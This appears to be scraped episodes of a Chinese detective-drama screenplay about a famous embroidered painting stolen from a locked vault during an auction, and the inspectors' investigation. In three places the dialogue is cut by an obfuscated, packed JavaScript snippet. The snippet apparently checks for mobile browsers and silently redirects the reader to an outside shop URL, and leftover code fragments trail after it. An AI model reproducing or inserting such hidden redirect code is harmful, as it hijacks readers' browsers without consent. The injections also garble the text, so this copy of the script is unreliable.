人物:欧阳兰兰、翡翠、邱红叶、管家、绣娘若干、宾客若干 傍晚时分,当天的拍卖会宣告结束,宾客们却无意离去,他们都想一睹罗汉图的真面目。 宾客:邱老板,您不是说要给我们看罗汉图吗?我们可都等着呢! 邱红叶:呵呵,请大家稍安勿躁,我这就去取罗汉图。 邱红叶出去后,过了一会儿便回来了,身后跟着管家和几个绣娘,她们的手里抬着一个木箱子,按照邱红叶的指示,将木箱子放在会场中央的一张桌子上。 欧阳兰兰:(小声对翡翠)那里面应该就是罗汉图了。 邱红叶:(笑着对宾客们)让大家等了这么久,真不好意思!在接下来的十天里,这幅罗汉图将日日在这里展示,大家可以一饱眼福了! 她掏出钥匙,亲手打开箱子,却瞪大了眼睛,发出一声惊呼:“啊——”手里的钥匙落在地上,宾客们面面相觑,不知发生了什么事。翡翠定睛一看,也吃了一惊。 翡翠:是一截树桩?罗汉图呢? 此时众人方才看清楚,箱子里只有一截树桩,而罗汉图已不知所踪。 邱红叶:(见树桩上刻着一行小字)逆千帆到此一游?! 她惨叫一声,身子一歪倒在了地上。 在场的众人,顿时乱成一团…… 42. 第五篇 丢失的罗汉图 梁州,凤凰城 5-9 督察府,张正清的屋子(日,内) 人物:张正清、钱知县 一大早,春晖城的钱知县便来找张正清了。 钱知县:张大人!有件急事,下官不敢擅自做主,特来请求您的示下! 张正清:什么事?你说! 钱知县:昨日在春晖城,发生了一桩十分蹊跷的盗窃案。 张正清:盗窃案?这种案子你们不能办吗? 钱知县:下官不是不能办,而是不敢办。 张正清:哦,为何? 钱知县:一者,这桩案子的失主是辉月阁的邱老板,她说与您相熟,所以希望您能亲自前往春晖城,督办此案。 张正清:只见过一两面而已,算不上熟。 钱知县:再者,这桩案子的失物非同小可,是辉月阁的镇阁之宝、价值连城的罗汉图。 张正清:那又怎样? 钱知县:还有就是,窃贼的来头也不小,是当年潜入宫中盗宝的逆千帆! 张正清:(微微一惊)逆千帆? 钱知县:正是!他盗走了罗汉图,并在现场留下了一截树桩,上面刻着他的名字。 张正清:刻着他的名字,也未必是他呀! 钱知县:下官已经跟他以前在宫墙上留下的字迹比对过了,几乎可以说是一模一样。 张正清:逆千帆入宫盗宝之后,他在宫墙上留下的字迹,被民间的百姓争相模仿,想要写出一模一样的字,也不是什么难事。 钱知县:可是辉月阁里安放罗汉图的那间屋子,非比寻常,平日里除了邱老板和她的管家以及少数的几个绣娘之外,旁人是无法进去的。 张正清:那就是监守自盗了? 钱知县:下官不敢妄言,烦请大人去一趟春晖城吧! 张正清:(想了想点点头)嗯。既然跟逆千帆有关,本官就随你走一趟吧! 梁州,郊外 5-10 马车车厢(日,内) 人物:张正清、洛宁、田佳 田佳鼓起勇气,恳求张正清。 田佳:老大!这个案子能不能交给我来办呀? 张正清:交给你?为何? 田佳:我以前在京城里当差,曾经跟着师傅们一起追捕过逆千帆,对他这个人有一定的了解。 洛宁:田佳,你上次说的那个人,该不会就是他吧? 田佳:(脸微微一红)嘿嘿,就是他! 张正清:(眯起眼)就是他?什么意思?难不成你跟他有什么…… 田佳:(急忙摆摆手)哦,不不不!我跟他什么都没有!我只是在公事上,跟他打过一回交道,除此外,再无任何关系!(一边说,一边朝洛宁使了个眼色) 张正清:(显然不太相信)真的吗? 洛宁:(没好气地)当然是真的了!一个是官、一个是贼,你觉得他俩会有什么关系? 张正清:我只是问问而已,你俩那么紧张干什么呀?行吧!田佳,你想办的话,这个案子就交给你了! 田佳:(忙不迭点头)是,老大!嘿嘿! 梁州,春晖城 5-11 辉月阁,客厅(日,内) 人物:邱红叶、张正清、洛宁、钱知县、乔捕头、黄毅、田佳 当一行人来到辉月阁时,邱红叶已苏醒过来,此时的她满面愁容,一见到张正清,便忍不住哭了。 邱红叶:张大人,您可算是来了!出了这么大的事,我都不知道该怎么办了! 张正清:邱老板,你别着急!不管是谁偷走了罗汉图,本官都一定会抓住他,并且将罗汉图完好无损地交还到你的手上。 邱红叶:张大人,我刚才还觉得六神无主,听了您的这句话,我的心终于可以放回肚子里了。 张正清:(点点头)邱老板,你在发现罗汉图不见了之后,是否将辉月阁里的每一个地方都找过了? 邱红叶:都找过了,没有罗汉图。唉! 张正清:是你自己去找的吗? 邱红叶:我让管家带着绣娘们去找的。 张正清:(皱起眉头)这样啊! 邱红叶:大人您若是不放心的话,我再亲自去找一遍。 张正清:(摆手)不必了!你说的这些人,如今都在哪里? 钱知县:回大人,她们都在外面听候召见。还有昨天拍卖会上的宾客,下官已经命人把他们全部安置在客房里,您可以随时审问他们。 张正清:(点点头)嗯,知道了。这样吧!钱大人,你带着你的手下,去审问那些宾客;乔捕头、黄毅,你俩去审问管家和绣娘们。 钱知县/乔捕头/黄毅:是,大人!(转身离开) 张正清:小鬼,你跟我一起去现场看看。 洛宁:嗯,好。 田佳:老大,我干什么呀? 张正清:你?当然是去追捕逆千帆了! 田佳:哦,好嘞!(一溜烟儿跑了出去) 洛宁:张大哥,你还没有开始调查,就让她去抓逆千帆,行吗? 张正清:怎么不行?去晚了贼可就跑了! 洛宁:问题是上哪儿去抓呀? 张正清:她不是跟他打过交道吗?这个她应该比我更清楚! 5-12 辉月阁,拍卖场(日,内) 人物:张正清、洛宁、邱红叶 张正清带着洛宁,先去了拍卖会的现场。当看见树桩上的那行字时,张正清眯起眼睛。 张正清:逆千帆到此一游?偷了东西,还不忘留下自己的名字,这个贼的胆子可真不小啊! 洛宁(内心独白):这家伙向来如此,可谓是猖狂至极! 张正清:小鬼,你听说过逆千帆吗? 洛宁:我?原先不知道,今儿算是见识了。 张正清:如果这次能顺利地抓住他,可是为咱们沉香国除了一个大害! 洛宁(内心独白):那可真是太好了!我也巴不得他早点儿从这个世界上消失呢! 张正清:(问邱红叶)邱老板,本官听闻罗汉图是你们辉月阁的镇阁之宝,这么重要的东西,为何只用了一个木箱子和一把锁来保管? 邱红叶:大人您有所不知,罗汉图虽然放在这个木箱子里,但这个木箱子却是放在一间非常安全的密室里。 张正清:有多安全? 邱红叶:自辉月阁开办以来,这是第一次失窃。 张正清:有了第一次,就会有第二次、第三次。邱老板,你这间密室怕是不顶用了。 邱红叶:唉,我也没想到会发生这样的事情,果然是树大招风呀! 她说着眼泪便掉了下来,张正清见状,急忙岔开话题。 张正清:邱老板,这个木箱子是什么时候从密室运到这里来的?又是谁负责运送? 邱红叶:昨天下午、拍卖会结束之时,由我和我的管家、还有几个绣娘一起运过来的。 张正清:既然是你亲自负责押运,在路上被掉包的可能性不大。那么你在把这个木箱子从密室里运出来之前,是否查看过里面的东西?罗汉图当时在不在? 邱红叶:这是我的疏忽!我只在昨天早上、拍卖会开始之前,前往密室里检查了一番,那时罗汉图还原封不动地搁在这个木箱子里。 张正清:这么说,你在将它从密室里运出来时,并没有开箱查看? 邱红叶:(摇摇头)没有。 张正清:有人提醒过你吗? 邱红叶:不曾有人提醒过我,为何问这个? 张正清:看来你们都认为这间密室很安全,既然如此,不如我们一起去看看吧! 5-13 辉月阁,密室(日,外) 人物:张正清、洛宁、邱红叶 邱红叶带着张正清和洛宁,来到密室前。 张正清:就是这间密室吗? 邱红叶:(点点头)没错,辉月阁里很多价值不菲的绣品都存放在这间密室里。 邱红叶伸出手,转动门上的机关,沉重的木门缓缓开启。 洛宁:(打量木门)难怪门这么重,原来里面嵌着厚厚的铁板。 邱红叶:不止是门里,密室的墙壁、地板和天花板里,也都嵌着铁板,目的是为了防盗。 张正清:这间密室有几个出口? 邱红叶:仅此一道门而已。 张正清:没有窗户吗? 邱红叶:(摇摇头)没有。只在墙壁上凿了些小孔,用于通风换气。 张正清:邱老板,本官见你刚才开启门上的机关时,先是向左转了三圈、向右转了两圈半,接着又向左转了四圈、向右转了一圈半,这个方法除了你之外,还有谁知道? 邱红叶:知道了也无妨。这扇门上的机关,每开启一次,就会自动变换一次,而变换后的结果,只有我一个人知道。 洛宁:照这么说,逆千帆若想从那些小孔里钻进去的话,就得先学会缩骨术,若想从这扇门里进去的话,就得先学会读心术。 张正清:(瞪了她一眼)小鬼,你怎么又开始皮了?咱们在办案,别嬉皮笑脸! 洛宁吐吐舌头,跟在他们的后面走进密室里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007389|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 5-14 辉月阁,密室(日,内) 人物:张正清、洛宁、邱红叶 密室里摆放着大大小小数不清的绣品。 张正清:(环顾四周)邱老板,除了罗汉图之外,你是否还清点过其他物品?有没有丢失? 邱红叶:昨天案发之后,我已经按照钱大人的要求,对密室里的物品进行了清点,别的都在。 张正清:这么说只丢了罗汉图?呵呵,这个贼的目标很明确呀! 邱红叶:话虽如此,可我听闻那个逆千帆十分厉害,还曾经潜入宫中盗宝。他第一次得手之后,会不会再来第二次、第三次? 张正清:如果他再来的话,倒是件好事,怕就怕他不敢再来了。 洛宁(内心独白):天底下还有他不敢去的地方吗?别说是这间密室了,就算是无间地狱,只要他感兴趣,哪怕丢了性命也要闯进去。 张正清:小鬼,你在想什么呢? 洛宁:(回过神)哦,我?没有啊! 张正清:那你为何站着不动?是不是想等着我来教你怎么查看案发现场吗? 洛宁:钱大人那边不是已经查看过了吗?什么都没发现…… 张正清:你是信他还是信你自己? 洛宁:(双手合十)我信观世音。 张正清:(两眼一瞪)少跟我耍滑头,快去! 洛宁不情不愿地开始查看密室,张正清正打算跟过去,却听邱红叶叹了口气。 邱红叶:唉!这次的拍卖会原打算办十天,却不料第一天就发生了这么可怕的事情,接下来的几日,还不知道会出什么岔子。一想到这里,红叶的心里就万分不安。 张正清:邱老板,你若是有顾虑的话,可以取消这次的拍卖会。 邱红叶:我倒是没关系,可那些客户有很多都是从外地来的,如果让他们白跑一趟的话,只怕他们会心生不满。 张正清:(想了想)那就等本官审问过他们之后,再接着办吧! 邱红叶:(笑着点点头)张大人果然是一个通情达理之人!(又略带娇羞地)除此外,红叶还有一个小小的请求…… 张正清:什么?你说。 邱红叶:能不能请张大人在这里多逗留几日? 张正清:哦,为何? 邱红叶:逆千帆尚未归案,不止是我,连那些客户的心里也会觉得很不踏实。 张正清:这个你们无需担心,本官会让钱大人安排他的手下,负责辉月阁的守卫。 邱红叶:不怕大人您笑话,只有看见您在这里,红叶的心里才会觉得好受些。 她一边说,一边含情脉脉地瞅了张正清一眼,张正清微微一愣,忙转过头去,避开她的目光,却发现洛宁正躲在架子后面,偷偷地瞄着他俩。 张正清:(冲着洛宁吼)小鬼!怎么样了?发现线索没? 洛宁:着什么急呀?我这不正在看嘛! 张正清:(大步走到洛宁面前)你蹲在这里干什么?练□□功吗? 洛宁:(编理由)我正在寻找逆千帆留下的蛛丝马迹呢!(又冲着张正清挤挤眼)嘻嘻!张大哥,你要是觉得没事做的话,不如去跟邱老板喝杯茶吧! 邱红叶:(正中下怀)呀,瞧我这记性,怎么把这事儿给忘了!(上前笑着对张正清)张大人,您从凤凰城一路赶来这里,一定又累又渴了,不如随我去喝杯茶、歇息一下吧! 张正清:(瞪了洛宁一眼,回头对着邱红叶)哦,无妨!干咱们这一行,经常在外奔波,早就习惯了! 洛宁:(冷不丁又冒出一句)你刚才还说腰酸背痛呢! 邱老板:是啊!张大人,您就别推辞了!为了辉月阁的案子,您劳心又劳力,如果我连一杯茶都舍不得给您喝的话,岂不是显得我这个人太不知趣了? 洛宁:对呀!张大哥,你放心地去吧,这里交给我好了! 邱老板:快走吧,张大人!(二人推推搡搡地出去了) 洛宁(内心独白):这个逆千帆,怎么会突然对这些东西感兴趣了?难不成他改行了?问题是这间屋子里只有樟木味儿,闻不到任何烟味儿,这可一点儿也不像他呀!(皱起眉头)逆千帆呀逆千帆,罗汉图到底是不是你偷的呀?你从山上下来后,干的这些坏事,老爷子都知道吗?若是被他知道了,会不会将你扫地出门呀?不过话说回来,老爷子他自己也不是什么好东西,没准儿这件事就是他指使你干的呢!问题是他为何要这么做呢?难不成他打算放下屠刀、立地成佛了?(又摇摇头)天底下的事,一切皆有可能,唯独这个,绝对不可能! 43. 第五篇 丢失的罗汉图 梁州,春晖城 5-15 辉月阁,前院(日,外) 人物:张正清、洛宁、欧阳兰兰、翡翠、邱红叶、乔捕头、贤晴、公差若干 院子里,传来一阵喧哗之声:欧阳兰兰带着翡翠,从客房里强行闯了出来,一个公差试图拦住他们,怎奈欧阳兰兰根本不听。 欧阳兰兰:走开!别拦着我! 公差:这位姑娘,请你立刻回去! 欧阳兰兰:我已经被你们关在这里一天一夜了,还想怎样?姑娘我长这么大,还从来没人敢这么对我!我可是这里的贵客,又不是你们的囚犯,凭什么不许我离开? 公差:这位姑娘,督察大人有令,在审问尚未结束之前,任何人不许离开客房!请你立刻回去! 欧阳兰兰:督察大人也来了是吗?那就更好了!你何不去问问他,像我这样身份地位的人,怎么可能是个贼? 听见外面的动静,张正清从茶室里走出,一见是欧阳兰兰,便皱起了眉头。 张正清:又是这个丫头,怎么哪儿都有她呀? 邱红叶:欧阳小姐是来参加拍卖会的。 洛宁也从密室里走出,见到欧阳兰兰和翡翠,颇有些意外。 洛宁:翡翠?欧阳兰兰?你们也在这里呀? 欧阳兰兰:(上前拉住洛宁)宁姐姐,你快跟督察大人说一声,总不能把我们关在这里一辈子吧? 张正清:欧阳兰兰,案发时你们正在现场,本官对你们进行审问,是正常的办案流程。不管你愿不愿意,都必须配合! 欧阳兰兰:那木头桩子上写得明明白白,“逆千帆到此一游”,你不去抓他、抓我们干嘛? 张正清:(耐着性子)只是审问,并没说要抓你们。 欧阳兰兰:你把我们困在客房里,跟蹲大牢有什么分别? 张正清:(板起脸)欧阳兰兰,你说够了没?你若再敢妨碍督察府办案,本官可真要拿人了! 欧阳兰兰:啧啧,不愧是督察大人,端起架子来,比谁都威风!哼! 洛宁:(冲欧阳兰兰使了个眼色)欧阳兰兰,闭嘴!(对着张正清)张大哥,要不这样吧,让她跟我在一起,我替你看着她。 张正清:(没好气地瞪了欧阳兰兰一眼)欧阳兰兰,你给本官听清楚了!看在宁儿的份上,本官对你网开一面!但仅此一次,下不为例!哼! 欧阳兰兰:别说下次,这次我都后悔死了!我哪知道自己的点儿这么背,碰巧赶上了你们督察府办案呢!哼! 乔捕头来了,身后跟着一个绣娘。 欧阳兰兰:(一眼认出)咦,那不是贤晴吗? 乔捕头:(对着张正清)大人!这位绣娘说她家里有急事,想求您通融一下,准许她先行离开! 张正清:审问尚未结束,谁都不许走! 贤晴:(扑通一声跪下)大人,求求您了!我妹妹得了重病,若身边没人照顾,她会死的! 张正清:(问邱红叶)怎么回事?她家里什么情况? 邱红叶:大人,她妹妹确实得了重病,最近这段日子她都是白天在绣坊里干活、晚上赶回去照顾妹妹。 张正清:这样啊!那行吧!宁儿,你不是大夫吗?跟她一起去瞧瞧! 洛宁:(故意客客气气地)是,大人! 5-16 贤晴家(日,内) 人物:贤晴、瑶瑶、刘婶子、洛宁、欧阳兰兰、翡翠 一行人跟着贤晴,来到她家。屋里虽然简陋,却收拾得很干净,床上躺着一个面黄肌瘦的小女孩,八九岁的模样,一位上了年纪的女人正在给她喂水喝。 贤晴:(未进门先唤了声)刘婶子! 刘婶子:唉呀,你可算是回来了!我见你一夜未归,还以为你出了什么事呢! 贤晴:绣坊里有点儿事情耽误了一下,真不好意思!(上前问小女孩)瑶瑶,怎么样了?昨晚肚子又疼了没? 刘婶子:唉,这孩子的脾气可真犟!明明疼得直冒汗,可她就是一声不吭!若不是看见她额头上的汗珠,我还不知道她的肚子在疼呢! 贤晴:(心疼得眼泪直掉)瑶瑶,对不起,是姐姐太没用了! 瑶瑶:(虚弱地笑了笑)姐姐,没事儿!其实我一点儿也不疼,你别担心! 刘婶子:她昨晚翻过来倒过去、一夜都没睡好,我才给她喂了遍药,过会儿应该能睡着了。 贤晴:好,我知道了。刘婶子,你也快回去吧,别让刘叔等着急了! 刘婶子:嗯,好。那我先走了! 5-17 贤晴家(日,内) 人物:贤晴、瑶瑶、洛宁、欧阳兰兰、翡翠 送走了刘婶子,贤晴给瑶瑶盖好被子,哄她睡着了之后,方才从屋里走出。 贤晴:让你们久等了,真不好意思! 洛宁:你妹妹她得了什么病? 贤晴:大夫说她身上长了个瘤子,如果不尽早割掉的话,怕是活不了多久。(说着说着又哭了) 欧阳兰兰:那你还等什么?赶紧找大夫给她治呀! 贤晴:治病的话,需要一大笔钱,我一时拿不出来,只能先用药帮她缓解一下疼痛,等钱凑齐了之后,再作打算。 欧阳兰兰:拍卖会上,你的一幅绣品可以卖到五百两银子,这些钱难道还不够你给她治病吗? 贤晴:拍卖会是辉月阁办的,不管卖多卖少,都跟我没关系,我只是按月领钱。 洛宁:她们每个月给你多少钱? 贤晴:干得好的话,每个月可以领到五两银子。 欧阳兰兰:(撇撇嘴)才五两?还不够我一顿饭钱呢! 洛宁:(问贤晴)如今你忙着照顾妹妹,怕是连五两银子都领不到吧? 贤晴:(点点头,叹口气)唉,没办法!像我这种情况,邱老板能留我在绣坊里,就已经很不错了。 洛宁:你妹妹的病拖不得,须尽早治疗才行。(将目光转向欧阳兰兰) 欧阳兰兰:(顿时有些紧张)你……你干嘛这样看着我? 洛宁:欧阳兰兰,救人一命胜造七级浮屠! 欧阳兰兰:不是我不肯救她,因为上次凤仪堂的事情,咱们欧阳世家赔了一大笔钱,到现在元气还没恢复呢! 洛宁:你只要少买一幅绣品,钱不就有了吗? 欧阳兰兰:这不是钱的问题,而是不能开这个先例!不然的话,若人人得了病,都来找咱们欧阳世家要钱的话,咱们欧阳世家就算有再多的钱,也不够给呀! 贤晴:二位姑娘,你们别争了!你们的好意,贤晴心领了。钱的事,还是我自己想办法吧! 翡翠:(突然开口)去众康医馆怎么样? 欧阳兰兰:咦,对呀!(对着洛宁)你哥在那里,让他给她免费治不就行了! 洛宁:众康医馆是冷大夫开的,如果要免费治的话,须经过冷大夫的同意。 欧阳兰兰:他俩是朋友,这点儿面子还是会给。 洛宁:官府那边要收税,免费治的话总得有个理由吧。 翡翠:这个你别管了,交给我吧! 洛宁:(没好气地)你还欠着一屁股债呢,能有什么办法? 翡翠:(微微一笑)我虽然没办法,但易大师肯定有办法。 5-18 客栈,张正清居住的客房(夜,内) 人物:张正清、洛宁 翡翠送贤晴姐妹俩去了凤凰城,见天色已晚,洛宁和欧阳兰兰便打消了去辉月阁的念头,径直回了客栈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007390|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻洛宁回来了,张正清便把她叫了过去。 张正清:去了四个人,只回来了两个人,怎么解释? 洛宁:贤晴姑娘没有撒谎,她妹妹确实病得不轻,必须马上接受治疗,所以我便自作主张,让翡翠送她们去了凤凰城。 张正清:(没好气地)你怎么没让他把欧阳兰兰也一起带走呢? 洛宁:她一听说拍卖会还要接着办,就不打算走了。更何况,你不是还怀疑她偷了罗汉图吗? 张正清:她有那个本事吗? 洛宁:那你倒是说说,如今被困在辉月阁里的那些人,谁有这样的本事? 张正清:小鬼,你白天不是已经查看过那间密室了吗?有什么发现? 洛宁:没什么发现。 张正清:说实话! 洛宁:这就是实话!逆千帆偷走了罗汉图,却连一根头发丝都没有留下。 张正清:你真觉得是他干的吗? 洛宁:大家不都是这样认为吗? 张正清:我问的是你! 洛宁:田佳去抓逆千帆了,结果怎样? 张正清:那丫头在外面折腾了一整天,到现在还没回来。 洛宁:(忍不住笑了)该不会被逆千帆拐跑了吧? 张正清:(眯起眼)小鬼,我怎么觉得今天的你有点儿反常呢? 洛宁:哦,何以见得? 张正清:人人都在忙,你在干什么? 洛宁:我在帮你找罗汉图呀! 张正清:上哪儿找? 洛宁:既然你已经安排田佳去追捕逆千帆,我当然不能跟她抢功了。 张正清:那你打算怎么找? 洛宁:在什么地方丢的,就在什么地方找。 张正清:说来听听。 洛宁:邱老板说,她最后一次见到罗汉图,是在昨天上午,之后她便去了拍卖会,在此期间,密室的门一直锁着,不曾开启过。 张正清:(点头)嗯,没错。 洛宁:今天咱们也见到了那间密室,它的设计,可谓是固若金汤。换言之,只要邱老板不松口,谁也别想进去。 张正清:只要邱老板不松口?小鬼,你在暗示些什么? 洛宁:我绞尽了脑汁,也想不出除了那扇门之外、还有什么别的办法能进入那间密室里。 张正清:而开启那扇门的办法,只有邱老板一个人知道。 洛宁:张大哥,你跟邱老板一起喝茶的时候,何不顺便问问她呢? 张正清:你的意思是,她说漏了嘴? 洛宁:张大哥,人家邱老板好心好意地留你在府上做客,你怎么就不领情呀? 张正清:(没好气地)怎么?难不成你还想参加拍卖会呀? 洛宁:嘻嘻,我也想见识一下罗汉图的真面目嘛! 梁州,凤凰城 5-19 众康医馆,走廊上(日,外) 人物:路易、翡翠 翡翠将贤晴姐妹送进了医馆,冷梦安排她们在一间病房里住下。 路易:我原以为只有宁爱管他人的闲事,没想到你也是一样。 翡翠:我是在替你解围。 路易:替我?说来听听! 翡翠:因为酒庄的事,宁对你心存芥蒂,如果有一天,她拿刀砍你的话,我一定不会拦着她。 路易:(没好气地)你是不是还打算再补上一刀呢? 翡翠:朋友一场,我选择中立。 路易:唉,真没义气!说吧,想怎么样? 翡翠:钱能免则免。 路易:如果我不答应呢? 翡翠:反正人我已经给你们送过来了,治不治,你们自己看着办!(说完头也不回地走了) 44. 第五篇 丢失的罗汉图 梁州,春晖城 5-20 客栈,前院(日,外) 人物:张正清、洛宁、田佳、欧阳兰兰 一大早,洛宁还没睡醒,就被外面的声音吵醒了,她起身一看,楼下的院子里,张正清正在训斥田佳。 张正清:我让你去追捕逆千帆,没说让你去扰民。你没头没脑地闯进人家秦员外的家里,想干什么呀? 田佳:有人说在他家附近见到过逆千帆,所以我怀疑逆千帆是不是藏匿在他家里。 张正清:那你在他家里找到逆千帆没? 田佳:没有。 张正清:没有你还怀疑个屁呀!田佳,你能不能长点儿脑子呀?你不是说跟逆千帆打过交道吗?他有什么特征? 田佳:(欲言又止)他…… 张正清:他什么他?到底什么特征,你说呀! 田佳:长得帅! 张正清:(吓了一跳)你说什么?! 田佳:(一脸的委屈)不是你让我说的吗? 张正清:是是是,是我让你说的!那你倒是说说,除了这个,还有什么? 田佳:(想了想)跑得快! 张正清:然后呢?是不是心肠也特别坏呀? 田佳:那倒不是! 张正清:(吼)田佳!你知道自己在说些什么吗?你昨天出门的时候,是不是忘带脑子了?我怎么觉得你跟逆千帆是一伙儿的呢?你这副样子,抓得住他吗?唉,我可真替你担心呀!…… 欧阳兰兰也来到窗边,听见二人的对话,笑着对洛宁说。 欧阳兰兰:呵呵,宁姐姐,在你们张督察的手下干活,可真是一份苦差事呀! 5-21 辉月阁,前院(日,外) 人物:张正清、洛宁、黄毅、乔捕头、欧阳兰兰 吃过早饭,田佳又去追捕逆千帆,张正清则带着洛宁、黄毅、乔捕头和欧阳兰兰前往辉月阁,继续昨天未完成的调查。 黄毅:老大,能不能请你跟钱大人说一声,我想去审问那些宾客。 张正清:怎么了?那些绣娘不肯配合吗? 黄毅:不是。但不知为何,她们一见到我就发笑,弄得我十分尴尬。 听了这话,洛宁和欧阳兰兰互相对望了一眼,都扑哧一笑,张正清指着她俩问黄毅。 张正清:你说的是不是像她俩这样? 黄毅:没错,就是这样。我一见到她们这样,就不知道该问些什么了。 张正清:唉,明白了,我这就去找钱大人。 5-22 辉月阁,客房(日,内) 人物:张正清、黄毅、钱知县、宾客若干 黄毅被调去审问宾客们,被困在辉月阁里两天两夜,宾客们都有些不耐烦了。 宾客甲:我们只是来这里买东西,你们把我们关在这里,算什么待客之道呀? 宾客乙:是啊!拍卖会到底还办不办?不办的话,趁早放我们离开这里! 宾客丙:可不是嘛!我们也有家人、也有生意要做,总不能为了一幅罗汉图,把咱们的事都给耽误了吧? 宾客丁:是啊!辉月阁的事重要,我们的事也很重要! 钱知县:都别吵了!都别吵了!大家听我说!不是不肯放你们离开,而是调查尚未结束,不得不请你们先委屈一下…… 宾客甲:那要等到什么时候?我们的生意还等着我们回去打理,这个损失谁来赔给我们? 宾客乙:是啊!谁来赔给我们?你们赔不赔呀? 钱知县:督察大人已经说了,审问结束之后,拍卖会还可以接着办…… 宾客丙:办什么呀?谁还有心情买呀?当初可是邱老板邀请我们过来的,结果东西没买着,反被当成了贼。像话吗? 宾客丁:是啊!这要是传了出去,咱们以后还怎么做生意呀? 宾客们越闹越凶,钱知县只好把张正清请了过来。 张正清:你们说你们没偷罗汉图,有什么证据? 宾客甲:没偷就是没偷,还要什么证据呀! 宾客乙:是啊,清者自清!我们连罗汉图长什么样子都不清楚,怎么偷啊? 张正清:(冷笑一声)贼还喊抓贼呢! 宾客丙:岂有此理!你敢骂我们是贼? 宾客丁:逆千帆才是真正的贼!你自己没本事、抓不住他也就罢了,还想拉我们给他垫背!做梦! 张正清:说对了!本官要是抓不住逆千帆的话,没准儿还真会从你们中间、拉几个给他垫背,反正你们这些人既在案发现场、又有作案时间,想把罪名扣在你们的头上,也不是什么难事。 宾客甲:你敢诬陷我们!你们督察府平常都是这样办案的吗? 宾客乙:是啊!区区一件绣品而已,真以为我们瞧得上吗? 张正清:(指着宾客乙)你是永平城的季老板吧?听说你们家的铺子这几年不是很景气,关了不少门店呢! 宾客乙一听,立马就不吱声了。 张正清:(指着宾客甲)还有你!望江楼的樊掌柜,对不对?你儿子好赌,每次输了钱,都是你在替他擦屁股。家里的钱,够用吗? 宾客甲一听,也蔫了。 张正清:(指着宾客丙丁等人)还有你们几个!要不要本官把你们的丑事都一一抖出来呀? 宾客丙:大人!大人!我们不着急回去了,您慢慢审吧,我们一定全力配合! 宾客丁:是啊!是啊!若能协助大人您抓住逆千帆,我们也算是立了一件大功! 张正清:是吗?那就先说清楚,是你们自愿留下来的,本官可没有逼你们哟! 宾客们:(忙不迭点头)对对对!我们都是自愿的,谁让罗汉图太出名了呢! 5-23 辉月阁,前院(日,外) 人物:张正清、黄毅 从客房里出来之后,张正清呵斥黄毅。 张正清:黄毅!你可是咱们督察府的人,怎么浑身上下一点儿戾气都没有啊?那些人扎堆起哄,你不会凶他们吗? 黄毅:怎么凶呀? 张正清:把带头闹事的那几个抓起来不就行了! 黄毅:那样的话,岂不是越闹越凶了? 张正清:那你打算怎么办?跪下来求他们吗?好歹你也是个皇子,就不能硬气一点儿吗? 黄毅:老大,上次宁儿让你抄大忏悔文的时候,你怎么没说不抄呀? 张正清:(两眼一瞪)我才抄了几遍?她抄了多少遍?能比吗? 黄毅:那几遍也不是你抄的呀! 张正清:对呀!那你还啰嗦什么?赶紧去干活!哼! 5-24 辉月阁,花园(日,外) 人物:洛宁、欧阳兰兰 洛宁和欧阳兰兰面对面坐着,百无聊赖地喝着茶。 欧阳兰兰:田佳忙着追捕逆千帆,黄毅忙着审问那些宾客,乔捕头忙着审问管家和绣娘们。宁姐姐,你呢? 洛宁:我不是在替张大哥看着你吗? 欧阳兰兰:你平常也是这么混日子的呀? 洛宁:我又不是没干活儿,是他没给我安排活儿干。 欧阳兰兰:我怎么觉得他像是把你给忘了呢? 洛宁:忘了也没关系!只要我人在这里,哪怕从早到晚都在发呆,他也照样得给我发薪水。 欧阳兰兰:唉!拍卖会暂停了,待在这里一点儿意思都没有,不如咱们出去逛逛吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007391|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洛宁:不行!一旦我出了辉月阁的门,那就算是旷工了,要扣钱的! 欧阳兰兰:那怎么办呀?我已经喝了一肚子水,再这样下去,会胖成球的! 洛宁:(想了想)要不然,咱们来一个“辉月阁一日游”,怎么样? 欧阳兰兰:好啊! 二人一拍即合,手牵着手在辉月阁里游玩起来。 5-25 辉月阁,茶室(日,内) 人物:张正清、邱红叶 邱红叶又来找张正清喝茶,张正清也正好有事想问她,便一口答应了。 张正清:邱老板,那间密室并非位于隐蔽之处,在你们辉月阁里,应该是人尽皆知吧? 邱红叶:(点头)正是。 张正清:我听钱大人说,除了你之外,你的管家和少数的几个绣娘也曾进去过,是不是? 邱红叶:大人,昨天您也看见了,那间密室里存放的绣品,数量非常多。而绣品的保管跟绣品的制作一样,是一件十分精细的活儿,仅凭红叶一人之力,怕是不太容易,所以不得不假于他人之手。 张正清:你在开启那扇门的时候,会不会屏蔽左右? 